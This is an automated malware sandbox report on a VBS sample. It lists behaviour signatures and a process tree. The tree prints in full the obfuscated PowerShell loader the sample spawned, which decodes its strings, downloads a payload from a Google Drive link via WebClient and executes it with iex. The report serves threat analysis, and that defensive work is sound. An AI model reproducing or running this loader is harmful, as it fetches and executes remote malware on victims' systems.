Analysis
- max time kernel
94s - max time network
97s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
30/05/2024, 01:48
General
- Target 6af8cef5811fe0f2d7d36c23a0180b6aa1ab7f66ca39c6a2b513f85a9bb5817d.vbs
- Size 1.1MB
- Sample240530-b8cnqsbb73
- SHA256 6af8cef5811fe0f2d7d36c23a0180b6aa1ab7f66ca39c6a2b513f85a9bb5817d
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6af8cef5811fe0f2d7d36c23a0180b6aa1ab7f66ca39c6a2b513f85a9bb5817d.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Spinatens='Sub';$Spinatens+='strin';$Atletens = 1;$Spinatens+='g';Function Numerist($Skrivesituationers){$Werewall=$Skrivesituationers.Length-$Atletens;For($Polycyclic=7;$Polycyclic -lt $Werewall;$Polycyclic+=8){$Cyklingen72+=$Skrivesituationers.$Spinatens.Invoke( $Polycyclic, $Atletens);}$Cyklingen72;}function Hariet($Davidson){ . ($Udsprng) ($Davidson);}$Unsurpassedly=Numerist '.asturbMNeapolioCharadrzViderefiSnitterlsnowdril,koleriaf.ltmad/ Od nto5 Athene.Develop0Ledd,lt Presen.( BkkeneWLivristiOli.trynTransfidSandageoSorbetew D odecsunderfo AfgasnNCass onTForfald royali1sculped0Forlove.Afsonin0 nedfal;.nuggle MagtbefWLaunderi Unal enmouthed6Rhymema4Sjapp,d;isopyro Europi.xFiskere6 Connip4Derhjem;Slngkap GambetarN.stlesv,vadene:Overhum1 Smaakr2 omphal1Tilskik.Jiggl f0Agtpa g)Sp,ndye LassoeGNotesope optrapcOutbullk ForhanoH,elles/Endamo 2Over.ol0 Uncons1Konform0Inkamin0Colatur1Slegfre0Glycoly1ulykkes GeologFSt.lleriLnnedgarDiphthoeUnderpaf Auto.ioFlannelxCogniza/Abandon1Oxtaild2Kofilna1Kontori.Betrygg0Embryul ';$Parkeringsforbud=Numerist 'GlanspeUGl,ssansGle,doweindbyder ormble-AflsninACodelesg.usiknaeEpist snFire.oat Livrem ';$Ubestandige=Numerist 'CharcuthSe dtimtAargangtPreallap Pl,ssescrescen: Unre c/i dicer/ Sa,tnidsmelterrForrykkiFiloperv rchchaeJordbas.Dr adergHoneywoo japyg,oDag,imegFurphy,lattempeestiksaa. AnaleccRestab.o GummiimNocivee/GymnastuBarnetrcEffendi?PotensfeNonserixTraad,ep IsoglooKnopperrAdopti,t bourgo=CoteriedCetyleno NevesowCorbansn VoterslprinteroRocksanaUnforswdAfknapn&Repl,adiForaaredCelebri=Sloppag1CoerectzTjenestc Haansko,sympto0Thor,co-SystemdDMotiver0 Kon orBAntan,c3Forte,nISkidterl Pol gev SeeablYAnimizeQafstte.U .ugersoTollyun3 Camouf1 EnoptrXDrearinR TestatqStuepigDVariabe_ DemissgBadevanA Re ionRHjr,cenzWindmilSFenniklfDisseisBS,ockycZAuldestKGloomsm ';$Stuntmndene=Numerist 'Figenka>,aeciti ';$Udsprng=Numerist 'MetinahiShrikeheSi.nersxRhythm, ';$Tachycardiac='Rigsaeble';$oofbird = Numerist 'Sixtyf.eM,dgladcOpslagshCoontahoDefiner Oppo.i%T felheaAfsmit,p erroppRadioakd O.lvenaSlagetyt BrnderaDisangu% estebr\LedelseSStils.kcJernagtr FlaadeoAnseratf DekorauCymlinslWinsdenoVentileuLarisahsSubmaxi.TwaddleSElitekukDuskersoCredere Trilli&Sakrame&Ta.erna Notothee ForplicG,aminihPetitsko,pisioc Finans t Begird ';Hariet (Numerist 'B,autil$ DiazotgKardskslBilabonoSagsbehb resedaaPristeslautogra:Th,riomGBronchie Snotn,nDaggersoIncubatp SharpsbBasisoryundervigSymptomn Unprosi Socioln BankengPropleu=Glamour(Lgprdi cFint,dim kattedEjerfor Rhabdo/JulemancPowdike .ejrsfa$ Ga.traoTotab.eoMandarifMedgivsb FordybiPhthalar OversadAendesa)Filmk,n ');Hariet (Numerist 'Smallbu$Magterogsheafrils,tteeio GniderbEnthymea Genneml Vocife:VitaminPRobuster akiafaoD,stillvServostiSurrendn InleaksAfg ansipaahngseViktu ll FiskeflstephaneOrien e=Pralets$BlackbiUPresuspbDenatureMultiplsraacremtO kvikkaViskendnForni ad Auto.eiSkrivehgGob neeeSk.spor.St,aales Astig,pUnattail,kklamaiNotitsetUn gree( Lucubr$ OnyksdSSkulkertSpydblau Co luvnNonirritLygaeidmObject,narchdead Ma,tere,anketanPrioriteOvergan)P.lotst ');$Ubestandige=$Provinsielle[0];$Fllesnordisk= (Numerist 'Undergi$ P.rtifgAr ejdslHerrerkoGrafterbKniplera UndesilAmbroid:KonvertVtilbrliaTyk.lkelAthriveu Conq itSkndendaForslume ReprienLiberalhReinforeAfbetaldShare.osUnderst=ru evasNPas,orieHawkshawSyn,nym-FolieriODemagneb,ochchojDisfavoeBowstricBkkenbutTum,ler StrikniSInddr,vyGlissetsRoundletUnse.ineElsektomMilanss.KontrakNVide,caeReimaratUninter.FoliokoW Film.ieDyslogibAdelgesCStigmatl Disci iCyclopleSstjernnSinus nt');$Fllesnordisk+=$Genopbygning[1];Hariet ($Fllesnordisk);Hariet (Numerist ' Hu nin$BelemreVDefaminaParentelSejrheruForma,ttOverth aCosta.eeReckveln SolidahRdbyer,elaanekodUru urisGurgeon.UnpreciHForedr,eVldigthaLgdommmdLonganieTursexarFutharksNuancer[Repat.i$BobbishPChamaeraCreditsrret.rank SceneneSelvinsrHousekei OttaopnforeskrgK.ansensMidwisef Lbehjuo T,sterrFibulaebSejrteguSubleadd gymnas]Metatol=Weedpro$TartralUScr,tchn Afnatissensualu haab,frEroticipVelfu,daGenerinsRetunins tankereDemirevdPhyteusl BurgerySquatar ');$Lyets=Numerist 'militrl$ PhratrV,ediscoa Diskrilpennoplu nderttBoshvaraStalacee Nonsocn ,innifhBlockineGgepulvdBifurcasWilliwa. ersistDUrgermaoAntihygwVirgininOutsophl Dulchao,chorrhaFritidsdFragtvoFResponsiEuhedralB gsttteEquipon(Estafab$deliquiU GlosarbHazardseBesrgelsSec aritSvinghjaGumm,stnOrator.dAlfabetiEbon,tegAfghanee.aleode,Ledsmrs$ ,porepfBeverdiatrvarefb a.arthrPertur.i Janechk BrneopsFoledesrCon,otaaTavs edaKrigsmidBlokerie Phrencn.ilkasteChoppin) Divide ';$fabriksraadene=$Genopbygning[0];Hariet (Numerist ' Jing.s$BortopegBehand,lHavaneso ArkitebIndstt.aU.videnlPhenyle: TovarnRFejltoleAdk atesProgramiUnaccespAlieni,iSupe,disFlambvccSmaahaneRevanchn Dagturcvigora.e Selefa=Removab(JanossmTPop.yreeMacrog,sIneduc tBrandes-DissuasPBuskvksaLan.stitTeterrihtranq,s Dormant$ GrntsafStewardaOpremsnb TilbjerKukiachiLaaneorkEgnsteasSkurkagrWysssfoaPresby,aPent dedNonpurceBronzesn GuldfaeUnsprin)St,dent ');while (!$Resipiscence) {Hariet (Numerist 'sulteko$,akstgrgMarsipolNiklausoInkwellbvisualia Yokewolphilant:CasualiNForastoaGesticacLivssynhmartyroiPrlimint Op osioMikroskcUnapprehakkusatei itiatsUdpnsni= Pulver$Caribbet.orfoderHousefuuungrudge.eiipla ') ;Hariet $Lyets;Hariet (Numerist 'FjernelSBubblelt ,oliniaAnklerurEqui.ort Cupidi- Liva lS ReaumulAeciaseeSukkerseRet,rdepTraumer Baga er4C,abier ');Hariet (Numerist 'B redni$PetalodgRadialdlDeko,pooconstanbNetsurfaAmerikal Geomor:Ca cerrRFinansleAktionssDehonesi ampsprpPo.itikiLed,sposF rmrkrcTransmieDagvognnSpalacicfaldskreHenlede=Konc,nt(RetshanTMarten,eSciuri sSprjtebt Essexi- ,lagioP BosnisaPantheotKassevoh krdder Af.rsse$,aksonofSpi.chcaBo.iterbBaghavergrnkld iHulkortk.verlivsMethaemrunpro caCousineaAnusterdHamessteAfhol snHyomenteHemipar)Blasfem ') ;Hariet (Numerist 'Brudsik$Haakkong TildellDrivnetoDesignebCarbeenaDeciderlUncomme: BegejsCNickeliaGabbie,lModernif Biurati Grundesor,neyehPilebor= mo olo$in,ering .unitilRegningoLsgngerbUr lithaStigmarlStaa.sa:StaahejMGeneratiCophetunRansa eiFormaaeaSquashet PigstioKabelomusuper asMurenge+Kamansi+Skikkel%Regning$ ,dendrPBegy.derRedningohulkortvSema,tiiPalaeonn esidesElsasseimikr,koe MecaptlUnvoraclPneumopeBl.huse. Meres.cDan.yeno DiarheuKrus nenVaca.iot Grah,m ') ;$Ubestandige=$Provinsielle[$Calfish];}$Stvnede=342464;$Marineattache=28728;Hariet (Numerist 'Braggin$Scouthsg Ego,ril.odwareo earradb SuttenaCa.huaalBryggek:Ungdo sPVerveleoExcerpisSnawingtEtta sthBibliolu TripinsKonformeObserva hetzsca= tunede Bi,omiaGhvalf,neOph.uratStdersj-O,phaliCHoverinoP,rencenParal,etSt dsbieAutodianOnisc,dtValense Fau,tfu$E,haustfUd,tedea LibanobRentenerHnsehusid.bfroskHorseshsVitterlrFilbehaaKon rueama,chetd Udsugne PerpetnPalvinde Retroc ');Hariet (Numerist 'Ting.na$Kontradg OverellDesformoAtomkrab fistulaArmaturlse.vmod: Ear.hlSTaiwanhtIngushta Randp,bTrench,s Funk.ic olkebihSc rrhoeRdnbbedfOxalatoeCycloherUnder unResettleUdregne Datoli =Alcoved Capi,at[SuperwoSKlingrey oldgifsVildledt ruentie FlaglimMobbyta.OpdagelCStrikkeoB rdlimnKomm.nevCy,indreunbollerProgramt Forure]fo.tolk:,lavici:EpizootFVigne.trJournaloExten imSockosaBDel.fsnaSkurv.gsGimm.cke Urfugl6Udfr.ng4ProcurvSAn linetFimbul r StenhjiCulturinAggressgRecompe( Bloodh$F rsvorP beagleoHo,edgrs TrkldetFoldenehSpej etuRatiocisSka.fegeBrstenb)Bordben ');Hariet (Numerist 'Tmrersv$ ParalygMalerkul trr ngoresegrebBortfr.aMongrell Ethica:InsipidOUrokkelrFodringdTids kreStvisinnUnedac sFortrsthLid lsea Po,vehaSpartelnpreposedCr.yfishTre aervUnusualeVestasfrIndlaes Stiftn,=,pkalds com es[EftertrSDo.enskyTitmm.csUdskamnt Grat,neKse estmBersaer.Un.urbiTRegnslaeInformaxBergma ttredjep.U,rotatEMadopskn NationcFrispilo ParvendBovenbriDeponernFo varsghorrifi]collegi:Vr.itil:SkiftesATort,bySDec.llaCVirtu sItungespIruttie..familieGGuldstyeGreenhet Ma impSFloralitsidelinrocheryoiObstri,nUnpacksgShoredk(Mon pla$Backs aS Hondurt PhylloaVibratib R.bbims BrdskocCounterhLillefie HollosfF llerseKlidadhrM,gtbefnSeltzogeT,ekkos)Edwards ');Hariet (Numerist ' Hakkeb$Civilr.g redsdlS ruktuoOpstrambAmelcorabarkentlactaeon:,ndiggeBLiberianContrapfKriminaa SchubelCardmakdSacchareTorculalSkunkdosPunktere Godken=Spiritu$U attacORojakopr.ublantdVacci.aeNaphthan PechaysSammen hB,gnesvaHipe,riaudskibnnHymenopd CalcithOverf,avWalkrifeMechanorForehol.ninepens UdskriuCondolebAffluens,dedagetCrucifir ,ooperiDok mennAtro,ieg Vadede(Woodr n$Rejec.cSIndo.ertDiscolivLit,sconAlgophae Orc,esdErhve,veElf.nbe,Pornog $TenoplaM SmirchaMicrospr.pfedetiKrummednIridopueS,iloriaOpsiometpu,linotAtionspaAndelsfcdiskplahHoldespe Wurrus)Jo.nath ');Hariet $Bnfaldelse;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Scrofulous.Sko && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Serolog.txt
Serolog.txt
Serolog.txt
Serolog.txt
Serolog.txt
__PSScriptPolicyTest_ilxb4aiu.obf.ps1
memory/3236-319-0x00007FF83DF33000-0x00007FF83DF35000-memory.dmp
memory/3236-320-0x000001DDE5600000-0x000001DDE5622000-memory.dmp
memory/3236-330-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp
memory/3236-331-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp
memory/3236-336-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp
memory/3236-337-0x00007FF83DF30000-0x00007FF83E9F1000-memory.dmp